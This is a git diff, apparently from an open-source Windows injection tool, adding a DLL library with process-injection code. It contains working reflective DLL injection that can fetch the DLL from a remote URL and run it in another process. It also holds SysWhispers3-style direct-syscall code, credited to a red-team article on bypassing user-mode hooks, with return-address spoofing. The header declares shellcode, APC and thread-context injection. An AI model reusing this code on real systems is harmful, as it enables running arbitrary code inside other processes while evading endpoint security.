url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (hConnect == NULL) { + InternetCloseHandle(hInternet); + throw ""; + } + + // ��ȡ��Ӧ���� + char tempBuffer[4096]; + DWORD bytesRead = 0; + while (InternetReadFile(hConnect, tempBuffer, sizeof(tempBuffer), &bytesRead) && bytesRead > 0) { + buffer.append(tempBuffer, bytesRead); + } + // �ر����� + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + } + catch (...) + { + MessageBox(NULL, L"Failed Download DLL From URL", L"Error", MB_OK); + return; + } + dwFileSize = buffer.size(); + } + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == INVALID_HANDLE_VALUE) { + if (hFile != NULL) + CloseHandle(hFile); + return; + } + + LPVOID pBase = VirtualAllocEx(hProcess, NULL, (SIZE_T)dwFileSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (pBase == NULL) { + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } + + DWORD dwReflectiveLoaderOffset = this->dwGetOffset((HANDLE) & (buffer[0]), (CHAR*)"ReflectiveLoader"); + if (dwReflectiveLoaderOffset == 0) { + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } + + bool bRet = WriteProcessMemory(hProcess, pBase, &(buffer[0]), dwFileSize, &dwWriteSize); + if (dwWriteSize != dwFileSize) { + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } + + LPTHREAD_START_ROUTINE lpReflectiveLoader = reinterpret_cast( + reinterpret_cast(pBase) + dwReflectiveLoaderOffset + ); + + HANDLE hThread = NULL; +#ifdef _WIN64 + NTSTATUS status = Sw3NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpReflectiveLoader, pBase, FALSE, NULL, NULL, NULL, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL || status != STATUS_SUCCESS) { + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } +#else +#ifdef _WIN32 + // Win32 dont support syscall yet + hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, pBase, (DWORD)NULL, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + //delete[] buffer; + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } +#endif // _WIN32 + +#endif // _WIN64 + + + WaitForSingleObject(hThread, 500); + + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + CloseHandle(hThread); +} + +DWORD Injector::dwGetOffset(HANDLE Image, CHAR* FuncName) { + // ���δ���ο�����������ʽDLLע����Ŀ + // https://github.com/stephenfewer/ReflectiveDLLInjection + + + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; + + uiBaseAddress = (UINT_PTR)Image; + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + this->Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while (dwCounter--) + { + char* cpExportedFunctionName = (char*)(uiBaseAddress + this->Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); + + //����Ϳ�ʼ�Ƚϵ��������ĺ������� + //if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL) + if (strstr(cpExportedFunctionName, FuncName) != NULL) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // return the File Offset to the ReflectiveLoader() functions code... + return this->Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} + +DWORD Injector::Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if (dwRva < pSectionHeader[0].PointerToRawData) + return dwRva; + + for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) + { + if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData)) + return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData); + } + + return 0; +} + + + diff --git a/InjectLib/app/Injector.h b/InjectLib/app/Injector.h new file mode 100644 index 0000000..ecd122b --- /dev/null +++ b/InjectLib/app/Injector.h @@ -0,0 +1,72 @@ +#pragma once + +#include "./utils/query.hpp" + +#include +#include +#include +#include +#include + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +#define STATUS_SUCCESS 0x00000000L + + +typedef struct _ProcessInfo +{ + DWORD pid; + std::wstring processName; +}ProcessInfo, * pProcessInfo; + +class Injector +{ +public: + typedef void (Injector::* CallbackFunction)(DWORD pid); //�ص����� + +private: + CallbackFunction callback_; + std::string DllPath; + bool exist; + + HMODULE hNtDll; + + fnNtQuerySystemInformation NtQuerySystemInformation; + +public: + Injector(std::string dll_path); + Injector(); + ~Injector(); + void unInject(DWORD pid); + + void remoteThreadInject(DWORD pid); + void reflectInject(DWORD pid); + void apcInject(DWORD pid); + void fiberInject(DWORD pid);//TODO + void internetInject(DWORD pid, std::string url); + + + std::vector injectList(); + + void shellcodeInject(std::string basedsc, DWORD pid); + void apcShellcodeInject(std::string basedsc, DWORD pid); + void contextShellcodeInject(std::string basedsc, DWORD pid); + + void dllPathSetter(std::string dll_path); + void callBackSetter(CallbackFunction InjecMethod); + DWORD getPidByName(LPCSTR procName); + +private: + bool bFileExists(std::string filePath); + bool bPreInjectCheck(DWORD pid); + bool bInjectable(DWORD pid); + bool bGetModule(DWORD pid, MODULEENTRY32& result); + void atomReflectInject(DWORD pid, std::string url =""); + + DWORD dwGetOffset(HANDLE Image, CHAR* FuncName); + DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress); +}; \ No newline at end of file diff --git a/InjectLib/app/S-Wisper-asm.x64.asm b/InjectLib/app/S-Wisper-asm.x64.asm new file mode 100644 index 0000000..8925e9b --- /dev/null +++ b/InjectLib/app/S-Wisper-asm.x64.asm @@ -0,0 +1,23 @@ +.code + +EXTERN SW3_GetSyscallNumber: PROC + +Sw3NtCreateThreadEx PROC + mov [rsp +8], rcx ; Save registers. + mov [rsp+16], rdx + mov [rsp+24], r8 + mov [rsp+32], r9 + sub rsp, 28h + mov ecx, 084A94AFEh ; Load function hash into ECX. + call SW3_GetSyscallNumber ; Resolve function hash into syscall number. + add rsp, 28h + mov rcx, [rsp+8] ; Restore registers. + mov rdx, [rsp+16] + mov r8, [rsp+24] + mov r9, [rsp+32] + mov r10, rcx + syscall ; Invoke system call. + ret +Sw3NtCreateThreadEx ENDP + +end \ No newline at end of file diff --git a/InjectLib/app/S-Wisper.c b/InjectLib/app/S-Wisper.c new file mode 100644 index 0000000..6aa09ae --- /dev/null +++ b/InjectLib/app/S-Wisper.c @@ -0,0 +1,278 @@ +#include "S-Wisper.h" +#include + +//#define DEBUG + +// JUMPER + +#ifdef _M_IX86 + +EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { + return (PVOID)__readfsdword(0xC0); +} + +__declspec(naked) BOOL local_is_wow64(void) +{ + __asm { + mov eax, fs:[0xc0] + test eax, eax + jne wow64 + mov eax, 0 + ret + wow64: + mov eax, 1 + ret + } +} + + +#endif + +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +SW3_SYSCALL_LIST SW3_SyscallList; + +// SEARCH_AND_REPLACE +#ifdef SEARCH_AND_REPLACE +// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release +EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); +#endif + +DWORD SW3_HashSyscall(PCSTR FunctionName) +{ + DWORD i = 0; + DWORD Hash = SW3_SEED; + + while (FunctionName[i]) + { + WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); + Hash ^= PartialName + SW3_ROR8(Hash); + } + + return Hash; +} + +#ifndef JUMPER +PVOID SC_Address(PVOID NtApiAddress) +{ + return NULL; +} +#else +PVOID SC_Address(PVOID NtApiAddress) +{ + DWORD searchLimit = 512; + PVOID SyscallAddress; + + #ifdef _WIN64 + // If the process is 64-bit on a 64-bit OS, we need to search for syscall + BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; + ULONG distance_to_syscall = 0x12; + #else + // If the process is 32-bit on a 32-bit OS, we need to search for sysenter + BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; + ULONG distance_to_syscall = 0x0f; + #endif + + #ifdef _M_IX86 + // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved + if (local_is_wow64()) + { + #ifdef DEBUG + printf("[+] Running 32-bit app on x64 (WOW64)\n"); + #endif + return NULL; + } + #endif + + // we don't really care if there is a 'jmp' between + // NtApiAddress and the 'syscall; ret' instructions + SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); + + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + // we can use the original code for this system call :) + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + + // the 'syscall; ret' intructions have not been found, + // we will try to use one near it, similarly to HalosGate + + for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) + { + // let's try with an Nt* API below our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall + num_jumps * 0x20); + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + + // let's try with an Nt* API above our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall - num_jumps * 0x20); + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + } + +#ifdef DEBUG + printf("Syscall Opcodes not found!\n"); +#endif + + return NULL; +} +#endif + + +BOOL SW3_PopulateSyscallList() +{ + // Return early if the list is already populated. + if (SW3_SyscallList.Count) return TRUE; + + #ifdef _WIN64 + PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); + #else + PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); + #endif + PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + PVOID DllBase = NULL; + + // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second + // in the list, so it's safer to loop through the full list and find it. + PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; + for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) + { + DllBase = LdrEntry->DllBase; + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; + PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); + PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; + DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (VirtualAddress == 0) continue; + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); + + // If this is NTDLL.dll, exit loop. + PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); + + if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; + if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; + } + + if (!ExportDirectory) return FALSE; + + DWORD NumberOfNames = ExportDirectory->NumberOfNames; + PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); + PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); + PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); + + // Populate SW3_SyscallList with unsorted Zw* entries. + DWORD i = 0; + PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; + do + { + PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); + + // Is this a system call? + if (*(USHORT*)FunctionName == 0x775a) + { + Entries[i].Hash = SW3_HashSyscall(FunctionName); + Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; + Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); + + i++; + if (i == SW3_MAX_ENTRIES) break; + } + } while (--NumberOfNames); + + // Save total number of system calls found. + SW3_SyscallList.Count = i; + + // Sort the list by address in ascending order. + for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) + { + for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) + { + if (Entries[j].Address > Entries[j + 1].Address) + { + // Swap entries. + SW3_SYSCALL_ENTRY TempEntry; + + TempEntry.Hash = Entries[j].Hash; + TempEntry.Address = Entries[j].Address; + TempEntry.SyscallAddress = Entries[j].SyscallAddress; + + Entries[j].Hash = Entries[j + 1].Hash; + Entries[j].Address = Entries[j + 1].Address; + Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; + + Entries[j + 1].Hash = TempEntry.Hash; + Entries[j + 1].Address = TempEntry.Address; + Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; + } + } + } + + return TRUE; +} + +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return -1; + + for (DWORD i = 0; i < SW3_SyscallList.Count; i++) + { + if (FunctionHash == SW3_SyscallList.Entries[i].Hash) + { + return i; + } + } + + return -1; +} + +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return NULL; + + for (DWORD i = 0; i < SW3_SyscallList.Count; i++) + { + if (FunctionHash == SW3_SyscallList.Entries[i].Hash) + { + return SW3_SyscallList.Entries[i].SyscallAddress; + } + } + + return NULL; +} + +EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return NULL; + + DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; + + while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ + // Spoofing the syscall return address + index = ((DWORD) rand()) % SW3_SyscallList.Count; + } + return SW3_SyscallList.Entries[index].SyscallAddress; +} diff --git a/InjectLib/app/S-Wisper.h b/InjectLib/app/S-Wisper.h new file mode 100644 index 0000000..ba8e6c5 --- /dev/null +++ b/InjectLib/app/S-Wisper.h @@ -0,0 +1,123 @@ +#pragma once +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +#ifndef SW3_HEADER_H_ +#define SW3_HEADER_H_ + +#include +#include + +#ifndef _NTDEF_ +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +typedef NTSTATUS* PNTSTATUS; +#endif + +#define SW3_SEED 0xEB0CA24D +#define SW3_ROL8(v) (v << 8 | v >> 24) +#define SW3_ROR8(v) (v >> 8 | v << 24) +#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) +#define SW3_MAX_ENTRIES 600 +#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) + +// Typedefs are prefixed to avoid pollution. + +typedef struct _SW3_SYSCALL_ENTRY +{ + DWORD Hash; + DWORD Address; + PVOID SyscallAddress; +} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; + +typedef struct _SW3_SYSCALL_LIST +{ + DWORD Count; + SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; +} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; + +typedef struct _SW3_PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; + +typedef struct _SW3_LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; +} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; + +typedef struct _SW3_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PSW3_PEB_LDR_DATA Ldr; +} SW3_PEB, *PSW3_PEB; + +DWORD SW3_HashSyscall(PCSTR FunctionName); +BOOL SW3_PopulateSyscallList(); +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); +EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); +typedef struct _PS_ATTRIBUTE +{ + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + } u1; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} +#endif + +typedef struct _UNICODE_STRING_A +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRINGA, *PUNICODE_STRINGA; + +typedef struct _OBJECT_ATTRIBUTES_A +{ + ULONG Length; + HANDLE RootDirectory; + UNICODE_STRINGA ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTESA, *POBJECT_ATTRIBUTESA; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +EXTERN_C NTSTATUS Sw3NtCreateThreadEx( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN HANDLE ProcessHandle, + IN PVOID StartRoutine, + IN PVOID Argument OPTIONAL, + IN ULONG CreateFlags, + IN SIZE_T ZeroBits, + IN SIZE_T StackSize, + IN SIZE_T MaximumStackSize, + IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); + +#endif diff --git a/InjectLib/app/utils/crypto.hpp b/InjectLib/app/utils/crypto.hpp new file mode 100644 index 0000000..039d808 --- /dev/null +++ b/InjectLib/app/utils/crypto.hpp @@ -0,0 +1,38 @@ +#pragma once + +#include +#include +#include +#include + + +namespace Crypto { + std::string Base64Decode(std::string EncodedStr) { + DWORD decodedSize = 0; + + if (!CryptStringToBinaryA(EncodedStr.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) { + return ""; + } + + std::vector decodedData(decodedSize); + + if (!CryptStringToBinaryA(EncodedStr.c_str(), 0, CRYPT_STRING_BASE64, decodedData.data(), &decodedSize, nullptr, nullptr)) { + return ""; + } + return std::string(decodedData.begin(), decodedData.end()); + } + + std::string Base64Encode(const std::vector& data) { + DWORD encodedSize = 0; + if (!CryptBinaryToStringA(data.data(), data.size(), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &encodedSize)) { + return ""; + } + + std::vector encodedData(encodedSize); + if (!CryptBinaryToStringA(data.data(), data.size(), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, encodedData.data(), &encodedSize)) { + return ""; + } + + return std::string(encodedData.data(), encodedSize); + } +} \ No newline at end of file diff --git a/InjectLib/app/utils/query.hpp b/InjectLib/app/utils/query.hpp new file mode 100644 index 0000000..99218b5 --- /dev/null +++ b/InjectLib/app/utils/query.hpp @@ -0,0 +1,102 @@ +#pragma once +#include +#include +// NtQuerySystemInformation +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + WrAlertByThreadId, + WrDeferredPreempt, + MaximumWaitReason +} KWAIT_REASON; + +typedef NTSTATUS(WINAPI* fnNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength); + +// ���� SYSTEM_PROCESS_INFORMATION �ṹ +typedef struct _SYSTEM_THREADS { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitchCount; + ULONG State; + KWAIT_REASON WaitReason; +} SYSTEM_THREADS, * PSYSTEM_THREADS; + +typedef struct _SYSTEM_PROC_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER Reserved[3]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREADS Threads[1]; +} MySYSTEM_PROCESS_INFORMATION, * PMySYSTEM_PROCESS_INFORMATION; \ No newline at end of file diff --git a/InjectLib/cpp.hint b/InjectLib/cpp.hint new file mode 100644 index 0000000..601563f --- /dev/null +++ b/InjectLib/cpp.hint @@ -0,0 +1,2 @@ +#define INJECTLIB_API __declspec(dllexport) +#define INJECTLIB_API __declspec(dllimport) diff --git a/InjectLib/dllmain.cpp b/InjectLib/dllmain.cpp new file mode 100644 index 0000000..daed8c8 --- /dev/null +++ b/InjectLib/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : 定义 DLL 应用程序的入口点。 +#include "pch.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/InjectLib/framework.h b/InjectLib/framework.h new file mode 100644 index 0000000..80cbbc9 --- /dev/null +++ b/InjectLib/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 +// Windows 头文件 +#include diff --git a/InjectLib/pch.cpp b/InjectLib/pch.cpp new file mode 100644 index 0000000..b6fb8f4 --- /dev/null +++ b/InjectLib/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: 与预编译标头对应的源文件 + +#include "pch.h" + +// 当使用预编译的头时,需要使用此源文件,编译才能成功。 diff --git a/InjectLib/pch.h b/InjectLib/pch.h new file mode 100644 index 0000000..fc7d36d --- /dev/null +++ b/InjectLib/pch.h @@ -0,0 +1,7 @@ +#ifndef PCH_H +#define PCH_H + +// 添加要在此处预编译的标头 +#include "framework.h" + +#endif //PCH_H diff --git a/InjectLib/test/dll_test.py b/InjectLib/test/dll_test.py new file mode 100644 index 0000000..5e98f49 --- /dev/null +++ b/InjectLib/test/dll_test.py @@ -0,0 +1,13 @@ +import ctypes + +# 加载 DLL(路径根据实际情况) +dll = ctypes.WinDLL("./InjectLib.dll") + +# 声明函数:GetPIDByProcessName +dll.getPID.argtypes = [ctypes.c_char_p] # 参数是 const char* +dll.getPID.restype = ctypes.c_uint32 # 返回 DWORD(uint32) +# 传入进程名,比如 notepad.exe +process_name = b"x64dbg" # 注意要是 bytes 类型 +pid = dll.getPID(process_name) + +print(f"PID of {process_name.decode()}: {pid}") diff --git a/README.md b/README.md index 4e40ab2..9d8995f 100644 --- a/README.md +++ b/README.md @@ -19,134 +19,5 @@ # Update -- **[2025-4-3]** 使用gui界面时自动生成`imgui.ini`,优化界面排版 - -- **[2025-2-19]** 变化主题 -- **[2025-2-17]** - -1. 新增远程URL加载DLL -2. 由于 [issues 4](https://github.com/Joe1sn/S-inject/issues/4)等的反应,使用参数快速完成注入 - -- **[2024-7-7]** 优化一个进程选择Bug,详细见 [issues 2](https://github.com/Joe1sn/S-inject/issues/2) -- **[2024-6-18]** 修复选择进程和遍历进程快速闪烁的问题。修复后需要重新开打功能才能看到新的进程。 -- **[2024-6-6]** - -1. 更好的GUI布局,支持Docking。 - 2. 代码整理,优化项目文件结构,尽量贴合我认为(~~知道~~)的现代cpp规范。 - 3. 遍历部分使用 `NtQuerySystemInformation` (虽然会导致快速刷新) - -- **[2024-5-24]** **更新GUI图形化界面**,之前版本只保留原始二进制文件。貌似之前就被defender识别到了.... - -- **[2024-5-16]** 更新远程线程注入,让取消DLL注入更加便捷,便于第二次注入 -- **[2024-4-1]** 更新DLL的暴力注入,详细见readme->使用->DLL自动注入/暴力注入 -- **[2024-3-8]** 更新64位`CreateRemoteThread`为直接系统调用,方法采用`SysWhispers3`项目 - -# New Feature - -- [2025-2-19] V2.2.1更新 - - 更换了主题配色,更多配色在`app/utils/theme.hpp`内,更换主题需要重新编译(因为有的主题没有测试完,所以暂时不会运行时改变主题) - - 